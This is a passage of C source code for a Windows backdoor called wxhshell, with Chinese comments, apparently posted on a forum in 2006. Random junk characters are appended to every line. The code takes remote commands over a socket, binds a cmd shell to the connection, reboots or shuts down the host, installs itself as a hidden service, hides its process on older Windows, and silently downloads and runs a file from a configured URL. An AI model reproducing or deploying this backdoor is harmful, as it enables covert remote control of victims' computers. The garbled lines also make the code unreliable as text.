  else { Js7D>GWP!  
).Ei:/*j  
    switch(cmd[0]) { q|[P[7z  
  %](H?'H  
  // 帮助 _%`<V!RT\  
  case '?': { o=,q4;R'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5>e3srKu  
    break; )/:&i<Q:  
  } oiS>:de%tc  
  // 安装 H3?HQ>&O7  
  case 'i': { =R>%}5  
    if(Install()) bLHj<AX#>|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #{t?[JUn  
    else ;AwQpq>dy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P9RIX;A=  
    break; ;goR0PN  
    } ?xTh}Sky  
  // 卸载 g7|$JevR0  
  case 'r': { r:&"#F   
    if(Uninstall()) 77Fpb?0`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ARZ5r48)  
    else $|2@of.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "?lm`3W"  
    break; @"`{gdB$  
    } 2`o}neF{  
  // 显示 wxhshell 所在路径 J01Y%W  
  case 'p': { R`RLq1WA  
    char svExeFile[MAX_PATH]; {c3u!} mW  
    strcpy(svExeFile,"\n\r"); g8_C|lVZi  
      strcat(svExeFile,ExeFile); B3P#p^  
        send(wsh,svExeFile,strlen(svExeFile),0); LE|*Je3a  
    break; &dino  
    } :LuzKCvBP  
  // 重启 JVORz-uBs  
  case 'b': { p:hzLat~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eqyZ|6  
    if(Boot(REBOOT)) 1Ugyjjlz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`nF"u>  
    else { eDm~B (G$  
    closesocket(wsh); Z(8'ki  
    ExitThread(0); f4s^$Q{Q  
    } =!G3YZ  
    break; tv)U 7 K0  
    } -bamNw>|  
  // 关机 $=c79Al(  
  case 'd': { k+"+s bsW'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dm=Em-ST6  
    if(Boot(SHUTDOWN)) G n_AXN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : .-z) C}  
    else { P~)ndaQ  
    closesocket(wsh); <&?gpRK   
    ExitThread(0); p<|I!n&9  
    } a:o Z5PX=  
    break; Sv7_-#SW<(  
    } FA.h?yfr  
  // 获取shell ; )Vro  
  case 's': { %0PdN@I  
    CmdShell(wsh); CWVCYm@!kz  
    closesocket(wsh); ZwLD7j*)  
    ExitThread(0); b"ypS7 _  
    break; n.{+\M6k  
  } u7=jtB   
  // 退出 VK*2`Z1  
  case 'x': { D<rO:Er?*a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VWlOMqL995  
    CloseIt(wsh); D&{ 7Av  
    break; R;P>_ei(LK  
    } XIu3n9g^#  
  // 离开 959i2z  
  case 'q': { l_lm)'ag  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |kwkikGQS  
    closesocket(wsh); qzVmsxBNP  
    WSACleanup(); y&0&K 4aa  
    exit(1); uA?_\z?  
    break; 8 oHyNo  
        } h^P>,dy0  
  } cJ G><'  
  } g<[_h(xDeG  
Lc|5&<8ZG1  
  // 提示信息 ];waK 2'2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e!wS"[,  
} E6SGK,f0D  
  } 3U&Qo nCV  
PMJe6*(x/  
  return; kO:iA0KUX  
} qAsZ,ik  
7@MGs2  
// shell模块句柄 APT'2 -I_  
int CmdShell(SOCKET sock) T/ CI?sn  
{ P!C!E/Jf5  
STARTUPINFO si; x@F"ZiYD@O  
ZeroMemory(&si,sizeof(si)); G 1{F_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @L%9NqE`O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R|T_9/#)  
PROCESS_INFORMATION ProcessInfo; IB x?MU#.  
char cmdline[]="cmd"; +igFIoHTM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); td@F%*  
  return 0; =nEl m*E  
} X[8m76/V  
E'=~<&  
// 自身启动模式 (9h{7<wD`  
int StartFromService(void) fW Vd[zuD4  
{ D-.XSIEMu  
typedef struct Ox"4 y  
{ YF=@nR$_~j  
  DWORD ExitStatus; "t+VF 4r  
  DWORD PebBaseAddress; ?op6_a-wm  
  DWORD AffinityMask; uG\ +`[-{0  
  DWORD BasePriority; E+$vIYq:W  
  ULONG UniqueProcessId; (=${@=!z  
  ULONG InheritedFromUniqueProcessId; Sd.i1w &  
}   PROCESS_BASIC_INFORMATION; WigC'  
>JFAE5tj&2  
PROCNTQSIP NtQueryInformationProcess; #F5O>9hA  
^5biD9>M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o/9(+AA>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  Hw34wQX  
$4`RJ{ZJw]  
  HANDLE             hProcess; _pQ9q&i4  
  PROCESS_BASIC_INFORMATION pbi; *-bR~  
[3s,U4a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vtm5&-  
  if(NULL == hInst ) return 0; :N#gNtC)b  
\%9,< -~[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @b2{'#9]}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -OZRSjmY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5gg_c?Vh/  
w%cd $"EH  
  if (!NtQueryInformationProcess) return 0; 3ug{1 M3  
t &u,Od  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $Q1:>i@I|g  
  if(!hProcess) return 0; @R>4b  
+nRO<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mq~7v1kw  
u>H^bCXI  
  CloseHandle(hProcess); $%VFk53I  
JoA^9AYhR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L<Q1acoZm  
if(hProcess==NULL) return 0; )'M<q,@<(  
mFOuE5  
HMODULE hMod; <tAn2e!  
char procName[255]; _s!(9  
unsigned long cbNeeded; in-/  
8ON$M=Ze$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oh<[8S7]C  
RNuOwZ1m  
  CloseHandle(hProcess); ;Gxp'y  
3a9Oj'd1M  
if(strstr(procName,"services")) return 1; // 以服务启动 nH*U  
cS,(HLO91  
  return 0; // 注册表启动 5<Cu-X  
} "8VCXD  
= LuH:VM&  
// 主模块  N\DEY]  
int StartWxhshell(LPSTR lpCmdLine) fR!'i):u  
{ v')Fq[H  
  SOCKET wsl; t#oY|G3O}  
BOOL val=TRUE; $k*E^~qT  
  int port=0; !l@IG C  
  struct sockaddr_in door; '=@O]7o~  
{) 4D1  
  if(wscfg.ws_autoins) Install(); A[v]^pv'  
lRnst-inlI  
port=atoi(lpCmdLine); Uf{cUY,j_  
QvK/31*QG  
if(port<=0) port=wscfg.ws_port; V{;Mh u`+  
+Tde#T&[  
  WSADATA data; g^"",!J/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4p&qH igG  
;JA2n\iP,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W'rft@J$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BqK|4-Pf  
  door.sin_family = AF_INET; aDR<5_Yb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k&ujr:)5Y5  
  door.sin_port = htons(port); c[?S}u|['  
nK1XJp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l%.3hId-  
closesocket(wsl); }m/aigA[1  
return 1; 9*RfOdnNe  
} Z T95g  
m C_v!nL.  
  if(listen(wsl,2) == INVALID_SOCKET) { tTe\#o`  
closesocket(wsl); &CF74AN#  
return 1; cysYjuI i  
} F4>}mIA  
  Wxhshell(wsl); il\#R%';5  
  WSACleanup(); Lo @mQ  
0@{K'm /  
return 0; X !NH ?0)  
;2kiEATQ 1  
} UL$^zR3%d  
"lx}.  
// 以NT服务方式启动 o\1"ux;b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Z>4}<~+  
{ :}FMauHh  
DWORD   status = 0; . [+ObF9=  
  DWORD   specificError = 0xfffffff; Y(78qs1w  
37x2fnC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d"uR1 rTk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CT3wd?)z`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]plg@  
  serviceStatus.dwWin32ExitCode     = 0; T/MbEqAf  
  serviceStatus.dwServiceSpecificExitCode = 0; KQaw*T[Q3w  
  serviceStatus.dwCheckPoint       = 0; fyYT#r  
  serviceStatus.dwWaitHint       = 0; c^}gJ  
yAG4W[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h" Yi'  
  if (hServiceStatusHandle==0) return; DY^q_+[V  
?Q wDV`  
status = GetLastError(); Fl]$ql   
  if (status!=NO_ERROR) :e ?qm7cB  
{ Yq4_ss'nB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vd4x!Vk  
    serviceStatus.dwCheckPoint       = 0; tx}{E<\>$  
    serviceStatus.dwWaitHint       = 0; }:5r#Cd  
    serviceStatus.dwWin32ExitCode     = status; &`Q0&8d5  
    serviceStatus.dwServiceSpecificExitCode = specificError; }7+G'=XI/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i>_V?OT#5  
    return; +*a:\b" fx  
  } x&+/da-E/5  
X8<<;?L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b)(#/}jMkD  
  serviceStatus.dwCheckPoint       = 0; @G^]kDFM{  
  serviceStatus.dwWaitHint       = 0;  r75,mX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {6~v oVkj  
} C^K?"800  
F'*y2FC  
// 处理NT服务事件,比如:启动、停止 Tf Q(f?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 25t2tj@S  
{ ?W1( @.  
switch(fdwControl) E).N u  
{ `Q<hL{AH  
case SERVICE_CONTROL_STOP: <<6i6b  
  serviceStatus.dwWin32ExitCode = 0; 5'?K(Jdmp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bT,]=h"0  
  serviceStatus.dwCheckPoint   = 0; U P GS  
  serviceStatus.dwWaitHint     = 0; acdaDY  
  { 4 (& W>E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lE`hC#m  
  } R"];`F(#  
  return; gsGwf[XdJ  
case SERVICE_CONTROL_PAUSE: o>311(:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q*ZqY  
  break; Z9cch- u~  
case SERVICE_CONTROL_CONTINUE: @ T'!;)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dh BUMDoB  
  break; .8uJ%'$)  
case SERVICE_CONTROL_INTERROGATE: qS*qHT(u19  
  break; 9(QY~F  
}; W=&\d`><k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HtgVD~[]  
} 8TD:~ee  
 ;iy]mPd  
// 标准应用程序主函数 73A1+2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /P<RYA~  
{ %L=ro qz  
_' Xt  
// 获取操作系统版本 R4 ;^R  
OsIsNt=GetOsVer(); ]BP"$rs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =&U JFu  
NYM$0v`0YK  
  // 从命令行安装 $fPf/yQmC  
  if(strpbrk(lpCmdLine,"iI")) Install(); vY7C!O/y_k  
k=Pu4:RF  
  // 下载执行文件 0V{-5-.  
if(wscfg.ws_downexe) { V?kJYf(<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D*|h c  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mou>|U 1e"  
} J1cD)nM<A  
XG@_Lcv*  
if(!OsIsNt) { \vT0\1:|i  
// 如果时win9x,隐藏进程并且设置为注册表启动 8RVNRV@g%  
HideProc(); |F-_YR  
StartWxhshell(lpCmdLine); [a53H$`\5  
} ZtlF]k:MV  
else 67+ K ?!,  
  if(StartFromService()) gs_"H  
  // 以服务方式启动 Os?G_ziIB  
  StartServiceCtrlDispatcher(DispatchTable); kn 5q1^  
else m4<8v  
  // 普通方式启动 usZmf=p-r  
  StartWxhshell(lpCmdLine); Y\(Q  
1u:OzyJy  
return 0; # 5v 2`|)  
}
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只看该作者 1 发表于: 2006-10-10
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